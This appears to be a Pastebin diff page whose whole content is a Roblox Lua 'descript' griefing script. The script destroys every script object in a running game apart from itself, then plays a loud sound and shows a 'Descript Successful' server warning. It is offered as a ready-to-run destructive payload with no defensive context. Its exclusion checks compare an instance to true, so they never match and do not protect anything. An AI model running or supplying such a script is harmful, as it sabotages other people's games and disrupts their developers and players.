View difference between Paste ID: ud3sjEzC and x3pHnLWs
SHOW: | | - or go back to the newest paste.
1
script.Name = "fet"
2
function newaud(id,par)
3
	local a = Instance.new("Sound",par)
4
	a.SoundId = "rbxassetid://"..id
5
	a.Volume = 10
6
	a:Play()
7
end
8
for i,v in pairs(game:GetDescendants()) do
9
	coroutine.resume(coroutine.create(function()
10
		if v:IsA("Script") or v:IsA("LocalScript") or v:IsA("ModuleScript") then
11
			if v.Name ~= "fet" then
12
				if v:FindFirstAncestor("Chat") ~= true and v:FindFirstAncestor("CoreGui") ~= true and v:FindFirstAncestor("Players") ~= true and v:FindFirstAncestor("StarterPlayer") ~= true and v:FindFirstAncestor("CorePackages") ~= true and v:FindFirstAncestor("CorePackages") ~= true and v:FindFirstAncestor("ReplicatedStorage") ~= true then
13
					v:Destroy()
14
				end
15
			end
16
		end
17
	end))
18
end
19
newaud(1371608922,workspace)
20
game:GetService("StarterGui"):SetCore("SendNotification", {
21
	Title = "Server Warning";
22
	Text = "Descript Successful";
23
	Duration = 60;
24
	Button1 = "Ok.";
25
})